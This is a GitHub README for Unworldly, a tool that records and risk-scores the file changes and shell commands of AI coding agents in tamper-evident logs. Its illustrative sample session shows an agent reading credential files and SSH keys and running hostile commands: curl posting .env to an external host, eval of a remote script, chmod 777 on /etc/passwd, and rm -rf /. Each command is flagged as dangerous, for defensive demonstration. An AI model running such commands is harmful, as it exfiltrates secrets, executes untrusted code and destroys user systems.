GitHub - DilawarShafiq/unworldly: The flight recorder for AI coding agents. Tamper-evident, verifiable audit trails of file changes and shell commands, with PHI pattern detection and agent identity.

The black box for AI coding agents. Records the file changes and shell commands your coding agent makes on your machine — replays the session like a DVR, flags risky actions, and seals it into a tamper-proof, ISO 42001-compliant audit trail.

You wouldn't run code without logs. Why are you letting a coding agent edit your machine without a black box?

pip install unworldly-recorder
unworldly watch
# Every file change and shell command in this project is now recorded.

What Unworldly is (and isn't)

Unworldly is a local black box for coding agents — the ones that run on your machine and work by editing files and running shell commands (Claude Code, Cursor, Aider, Cline, and similar). For those, it gives you a sealed, replayable record of what touched your system.

It is not (yet) a tracer for cloud/SDK agents whose work happens as in-process API and tool calls — those leave no file or process trace for a passive observer to see. If that's your use case, see the MCP & OpenTelemetry roadmap — that's exactly the gap we're closing next.

We'd rather tell you precisely what it captures than overpromise. See What it captures — and what it can't see below.

Why Unworldly?

Coding agents edit files, run commands, install packages, and touch credentials — often unattended. When the session ends, you have no durable, verifiable record of what actually happened on disk and in your shell. Unworldly gives you one.

• Built for local coding agents — Claude Code, Cursor, Aider, Cline, and any tool that edits files / runs shell commands
• Zero interference — passive monitoring, never slows your agent down
• Local-first — your data never leaves your machine. Zero cloud. Zero telemetry
• Tamper-proof — SHA-256 hash chain on every event. Edit the log and the chain breaks
• ISO 42001 aligned — implements key audit-trail controls for AI management systems

Quick Start

# Install
pip install unworldly-recorder

# Start recording (run this BEFORE your AI agent)
unworldly watch

# In another terminal, run your AI agent normally
# Claude Code, Cursor, Copilot — anything

# When done, replay what happened
unworldly replay

# Generate a security audit report
unworldly report --format md

# Verify nobody tampered with the session
unworldly verify

# Check what THIS machine can actually capture (and what it can't)
unworldly doctor

# Lossless command capture (fixes poll-mode misses)
unworldly hook install

Capture layers

Unworldly captures agents at four levels — use the one(s) that fit your agent. Every session records which layer produced it, and reports state what that layer could not see.

L2/L3/L4 feed the same risk scoring, secret redaction, SHA-256 hash chain, verify/report/replay as L1. See specs/agent-instrumentation/spec.md.

Live Output

  ╔═══════════════════════════════════════════════════╗
  ║  UNWORLDLY v0.6.0                                ║
  ║  The Flight Recorder for AI Agents               ║
  ╚═══════════════════════════════════════════════════╝

  ● REC — Watching: /Users/dev/my-project

  ◉ Agent Detected: Claude Code
    via environment variable: CLAUDE_CODE

  14:32:01  CREATE   src/auth/handler.ts                    safe
  14:32:03  MODIFY   package.json                           caution
  ┗━ Dependency manifest modified
  14:32:04  $> CMD   npm install jsonwebtoken bcrypt         caution
  ┗━ Installing npm package
  14:32:06  MODIFY   Dockerfile                             caution
  ┗━ Container config modified
  14:32:08  MODIFY   .env                                    DANGER
  ┗━ Credential file accessed!
  14:32:10  MODIFY   .aws/credentials                        DANGER
  ┗━ AWS credentials accessed!
  14:32:12  $> CMD   curl -X POST https://exfil.io -d @.env  DANGER
  ┗━ Network request to external URL!
  14:32:14  MODIFY   ~/.ssh/id_rsa                           DANGER
  ┗━ SSH private key accessed!
  14:32:16  $> CMD   chmod 777 /etc/passwd                   DANGER
  ┗━ Setting world-writable permissions!
  14:32:18  $> CMD   eval "$(curl -s https://mal.sh)"        DANGER
  ┗━ Dynamic code execution!
  14:32:20  $> CMD   rm -rf /                                DANGER
  ┗━ Destructive recursive deletion!

  Session Summary
  Events: 11  ● Safe: 1  ● Caution: 3  ● Danger: 7
  Risk Score: 7.2/10

  ✓ SESSION INTEGRITY VERIFIED
    All 11 events have valid hash chain
    Session seal is intact — no tampering detected

The recording above is illustrative — it shows how each action is classified once captured. How completely commands are captured depends on the capture mode; see the next section.

What it captures — and what it can't see

Being honest about coverage is a feature, not a footnote — a sealed audit trail is only worth as much as what actually made it into the log.

Why poll mode is best-effort: the default monitor samples the OS process list on an interval, so a command that starts and finishes between samples is never seen. For a complete, lossless command log, enable shell-hook mode:

unworldly hook install     # adds a preexec hook to your shell rc (bash/zsh/pwsh)

If you need to capture what an agent decides (its tool calls), not just its side-effects on your machine, that's the MCP capture path on the roadmap.

Recording SDK / custom agents

Agents built with an SDK do their work as in-process tool calls that never touch your filesystem — so file/command monitoring can't see them. Wrap your tools with the trace recorder to capture the agent's decision trail into the same sealed, verifiable session:

from unworldly import AgentTraceRecorder, trace_tool

rec = AgentTraceRecorder(agent_name="support-bot")

@trace_tool(rec)                       # every call is recorded, then runs
def refund_customer(order_id: str):
    ...

refund_customer("A-1001")              # → recorded as a DANGER tool call
rec.close()                            # seals the session

# Same tools as file/command sessions:
#   unworldly verify   unworldly report   unworldly replay

Consuming tools over MCP? Wrap the session instead — every call_tool is logged, then forwarded unchanged:

from unworldly import AgentTraceRecorder, MCPCaptureProxy

session = MCPCaptureProxy(mcp_client_session, AgentTraceRecorder(agent_name="bot"))

Tool calls are risk-scored heuristically (network/egress, deletes, credential access → danger), and you can pass an explicit risk= to override. See specs/agent-instrumentation/spec.md for the full capture-layer design.

How It Differs

Features

• Watch — Passive filesystem + process monitoring. Zero interference with the agent
• Command Detection — Captures shell commands (npm install, curl, rm -rf, sudo) alongside file changes. Lossless in shell-hook mode; best-effort in default poll mode
• Agent Identity — Auto-detects which AI agent is running (8 agents supported)
• Risk Engine — Scores every action: credential access, destructive commands, network calls, mass deletions
• Tamper-Proof Logs — SHA-256 hash chain on every event. Modify one event and the chain breaks
• Verify — Cryptographic integrity verification. Exit code tells you if the session was tampered with
• Replay — Step through every action with a color-coded terminal UI
• Report — Generate terminal or markdown security reports with integrity verification
• Configurable — Custom risk patterns via .unworldly/config.json allowlist/blocklist
• Cross-platform — macOS, Linux, Windows. Runs anywhere Python runs

ISO 42001 Compliance

Unworldly implements key controls from the ISO 42001 AI Management System standard:

# Verify session integrity — exit 0 = valid, exit 1 = tampered
unworldly verify

  Integrity Verification
  ────────────────────────────

  ✓ SESSION INTEGRITY VERIFIED
    All 47 events have valid hash chain
    Session seal is intact — no tampering detected

Agent Detection

Automatically identifies the AI agent modifying your system:

Don't see your agent? Open an issue or add it yourself — it's one entry in unworldly/agent_detect.py.

Risk Detection

Custom Risk Patterns

{
  "commands": {
    "allowlist": [
      { "pattern": "my-internal-tool", "risk": "safe", "reason": "Trusted internal tool" }
    ],
    "blocklist": [
      { "pattern": "sketchy-package", "risk": "danger", "reason": "Known vulnerable" }
    ]
  }
}

Save as .unworldly/config.json in your project root.

Roadmap

Closing the gap between "records side-effects on your machine" and "records what the agent actually did":

• Shell-hook capture — Lossless command logging via preexec (fixes poll-mode misses) — unworldly hook install
• Tool-call trace capture — Record SDK/custom agents' tool calls into a sealed session (usage)
• MCP capture — MCPCaptureProxy logs every call_tool an agent makes, then forwards it — a real decision trail, not just OS side-effects
• OpenTelemetry GenAI ingestion — Accept OTel GenAI spans so agents on the OpenAI Agents SDK / Google ADK / LangGraph (and no-code platforms with OTel export) can stream their traces in
• CI/CD Integration — GitHub Action to audit AI-generated PRs
• PHI Detection — HIPAA-specific patterns for healthcare environments (--hipaa)
• Web Dashboard — Browser-based session viewer with search and filtering
• Real-time Alerts — Webhook/Slack notifications on danger events

Who Is This For?

• Developers running AI agents who want to know what actually happened
• Security teams auditing AI agent behavior in enterprise environments
• Compliance officers needing ISO 42001 / HIPAA audit trails
• Open-source maintainers reviewing AI-generated pull requests
• Anyone who believes AI agents should be observable and accountable

Contributing

See CONTRIBUTING.md. We welcome PRs — especially new agent detections, risk patterns, and platform fixes.

License

MIT — see LICENSE.